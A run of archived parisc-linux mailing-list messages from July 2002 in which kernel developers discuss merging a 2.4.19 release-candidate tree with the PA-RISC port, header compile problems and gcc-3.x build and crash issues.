WszQGONFCbl5iFWz89g+PapX5sodcXV+0P1JP0DQWIs5QLrYQNZnS0AOEg2aqkgxamGJHbUB
belG/KQfRAeqYWWRyutOWTv/SeWhkMjhly/VcQJZZtk2VSvG0ocskZyT211YHUCo5O9JIXqE
ATEUamM/BpbUbIm98r7INCnjWlPHDFfhCrsXFsXhLCavKtI7SzyNk8tYOFqBlTMv8NxKOohJ
cdbsUhciyLaTT6Ol9tHlSpknp+sScR6VTYt4iu4v8Ne9hyXsi4fox/seHl+V6WgVwEabAKId
mhGbsIoLp8DjlvFgb0sH2bJKk1VbrEZXUZpMB/d0IB4Hz6M0zcpA9KL6ls7bH94j1cj/D14S
SDdJuwcA

--VS++wcV0S1rZb1Fb--


From - Thu Nov 08 21:23:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: 17 Jul 2002 18:01:51 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1026925311.5709.153.camel@irongate.swansea.linux.org.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
	<1026913104.3d357350a4057@webmail.tiscalinet.be>
	<20020717144543.A13352@parcelfarce.linux.theplanet.co.uk>
	<1026914852.3d357a24c4a4a@webmail.tiscalinet.be>
	<20020717142915.GG641@tausq.org>
	<1026922060.5709.148.camel@irongate.swansea.linux.org.uk> 
	<20020717150349.GN8724@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621537 11115 80.91.229.3 (22 Nov 2014 01:58:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:57 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 09:51:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B5CC48BB
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 09:51:30 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6HH1vu6006980;
	Wed, 17 Jul 2002 18:01:57 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6HH1pip006978;
	Wed, 17 Jul 2002 18:01:51 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020717150349.GN8724@tausq.org>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15550

On Wed, 2002-07-17 at 16:03, Randolph Chung wrote:
> > Marcelo merged a load of mips bits for 2.4.19rc2, he may be willing to
> > take a sort of "toilet flush" of arch/parisc and include/asm-parisc to
> > get the diff size down while knowing it touches no code that can
> > actually do harm.
> 
> Good to know. Incidentally I noticed the asm/pg{alloc,table}.h in your
> tree is quite different from what we have in parisc cvs, and doesn't 
> really compile. Any particular reasons?

Thats still on my pending list to look at harder. 



From - Thu Nov 08 21:23:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 16:57:22 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020717165722.E13352@parcelfarce.linux.theplanet.co.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026914852.3d357a24c4a4a@webmail.tiscalinet.be> <20020717142915.GG641@tausq.org> <1026922060.5709.148.camel@irongate.swansea.linux.org.uk> <20020717150349.GN8724@tausq.org> <1026925311.5709.153.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621538 11119 80.91.229.3 (22 Nov 2014 01:58:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:58 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 09:57:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id F128348BB
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 09:57:31 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by cuprel1.hp.com (Postfix) with ESMTP id 4A4EA1575
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 08:57:30 -0700 (PDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17UrB4-00005C-00; Wed, 17 Jul 2002 16:57:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026925311.5709.153.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Wed, Jul 17, 2002 at 06:01:51PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15551

On Wed, Jul 17, 2002 at 06:01:51PM +0100, Alan Cox wrote:
> On Wed, 2002-07-17 at 16:03, Randolph Chung wrote:
> > Good to know. Incidentally I noticed the asm/pg{alloc,table}.h in your
> > tree is quite different from what we have in parisc cvs, and doesn't 
> > really compile. Any particular reasons?
> 
> Thats still on my pending list to look at harder. 

iirc this was what broke me when trying to merge to marcelo before.
someone deleted a line that we'd already deleted or something...

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 17:11:57 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020717171157.F13352@parcelfarce.linux.theplanet.co.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026914852.3d357a24c4a4a@webmail.tiscalinet.be> <20020717142915.GG641@tausq.org> <1026922060.5709.148.camel@irongate.swansea.linux.org.uk> <20020717150349.GN8724@tausq.org> <1026925311.5709.153.camel@irongate.swansea.linux.org.uk> <20020717165722.E13352@parcelfarce.linux.theplanet.co.uk> <1026922139.3d35969bd5ebf@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621538 11126 80.91.229.3 (22 Nov 2014 01:58:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:58 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Randolph Chung <randolph@tausq.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 10:12:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00E40485F
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 10:11:59 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by cuprel1.hp.com (Postfix) with ESMTP id 0876E158F
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 09:11:59 -0700 (PDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17UrPB-0000Yt-00; Wed, 17 Jul 2002 17:11:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026922139.3d35969bd5ebf@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jul 17, 2002 at 06:08:59PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15552

On Wed, Jul 17, 2002 at 06:08:59PM +0200, joel.soete@freebel.net wrote:
> Quoting Matthew Wilcox <willy@debian.org>:
> > iirc this was what broke me when trying to merge to marcelo before.
> > someone deleted a line that we'd already deleted or something...
> 
> IIRC too
> 
> Remember:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-January/015290.html

um, this is to do with O(1) scheduler.  has nothing to do with
asm-parisc/pg{alloc,table}.h

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-rc1-ac6 Merge pa55: #error ...?
Date: Wed, 17 Jul 2002 18:08:59 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <1026922139.3d35969bd5ebf@webmail.tiscalinet.be>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026914852.3d357a24c4a4a@webmail.tiscalinet.be> <20020717142915.GG641@tausq.org> <1026922060.5709.148.camel@irongate.swansea.linux.org.uk> <20020717150349.GN8724@tausq.org> <1026925311.5709.153.camel@irongate.swansea.linux.org.uk> <20020717165722.E13352@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621538 11133 80.91.229.3 (22 Nov 2014 01:58:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:58 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Randolph Chung <randolph@tausq.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 10:15:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73AF248C6
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 10:15:09 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UrMJ-00043S-00; Wed, 17 Jul 2002 18:08:59 +0200
In-Reply-To: <20020717165722.E13352@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15553

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Jul 17, 2002 at 06:01:51PM +0100, Alan Cox wrote:
> > On Wed, 2002-07-17 at 16:03, Randolph Chung wrote:
> > > Good to know. Incidentally I noticed the asm/pg{alloc,table}.h in
> your
> > > tree is quite different from what we have in parisc cvs, and doesn't
> 
> > > really compile. Any particular reasons?
> > 
> > Thats still on my pending list to look at harder. 
> 
> iirc this was what broke me when trying to merge to marcelo before.
> someone deleted a line that we'd already deleted or something...
> 

IIRC too

Remember:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-January/015290.html

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Wed, 17 Jul 2002 19:09:54 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <1026925794.3d35a4e296ccf@webmail.tiscalinet.be>
References: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621539 11139 80.91.229.3 (22 Nov 2014 01:58:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:10:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id D08064876
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:09:59 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UsJG-0008Nt-00; Wed, 17 Jul 2002 19:09:54 +0200
In-Reply-To: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15554

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > > Your problem appears to be with arch/parisc/kernel/parisc_ksyms.c.
> > > It imports the symbol.
> > > 
> > 
> > Simply comment it out will broken to compile with gcc-3.0.x, I
> suppose?
> 
> I suspect that you can just delete
> 
>   extern void $$mulU(void);
> 
> and
> 
>   #ifndef __LP64__
>   EXPORT_SYMBOL_NOVERS($$mulU);
>   #endif
> 
> I didn't see any assembly usage of this function in linux and I don't
> believe gcc uses it (even 3.0.x), so probably the lines can just be
> deleted.
> 

To summarise:
This clean should be applied without problem (test with gcc-3.2 and gcc-3.0.4)

This allow me to produce an operational kernel with gcc-3.2 (bootstrap an x);
telnet, ftp and ssh connection OK

But with gcc-3.1.1 still crashing at the first remote connection?

I will try a more recent CVS update.

Joel




-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Wed, 17 Jul 2002 13:13:28 -0400 (EDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <200207171713.g6HHDT7h029204@hiauly1.hia.nrc.ca>
References: <1026925794.3d35a4e296ccf@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621539 11145 80.91.229.3 (22 Nov 2014 01:58:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:13:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAB6C48CC
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:13:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6HHDU00029205;
	Wed, 17 Jul 2002 13:13:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6HHDT7h029204;
	Wed, 17 Jul 2002 13:13:29 -0400 (EDT)
In-Reply-To: <1026925794.3d35a4e296ccf@webmail.tiscalinet.be> from "Joel Soete" at Jul 17, 2002 07:09:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15555

> But with gcc-3.1.1 still crashing at the first remote connection?

If 64-bit, this could be the tcp header alignment problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Wed, 17 Jul 2002 19:30:57 +0200 (CEST)
Lines: 14
Approved: news@gmane.org
Message-ID: <1026927057.3d35a9d10c9dc@webmail.tiscalinet.be>
References: <200207171713.g6HHDT7h029204@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621539 11153 80.91.229.3 (22 Nov 2014 01:58:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:59 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:31:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73C4448D2
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:31:39 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Usdd-00050E-00; Wed, 17 Jul 2002 19:30:57 +0200
In-Reply-To: <200207171713.g6HHDT7h029204@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15556

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > But with gcc-3.1.1 still crashing at the first remote connection?
> 
> If 64-bit, this could be the tcp header alignment problem.
> 
Sorry it is on a 712 (32-bit)

Joel 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Wed, 17 Jul 2002 18:32:00 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020717183200.G13352@parcelfarce.linux.theplanet.co.uk>
References: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca> <1026925794.3d35a4e296ccf@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621539 11156 80.91.229.3 (22 Nov 2014 01:58:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:59 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 17 11:32:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC46548D2
	for <parisc-linux@parisc-linux.org>; Wed, 17 Jul 2002 11:32:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Usee-0002Et-00; Wed, 17 Jul 2002 18:32:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026925794.3d35a4e296ccf@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jul 17, 2002 at 07:09:54PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15557

On Wed, Jul 17, 2002 at 07:09:54PM +0200, Joel Soete wrote:
> To summarise:
> This clean should be applied without problem (test with gcc-3.2 and gcc-3.0.4)
> 
> This allow me to produce an operational kernel with gcc-3.2 (bootstrap an x);
> telnet, ftp and ssh connection OK

but did you test modules?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge -rc1 -rc2 (was 2.4.19-rc1-ac6 Merge pa55: #error ...?)
Date: Wed, 17 Jul 2002 19:37:20 +0200 (CEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <1026927440.3d35ab5042756@webmail.tiscalinet.be>
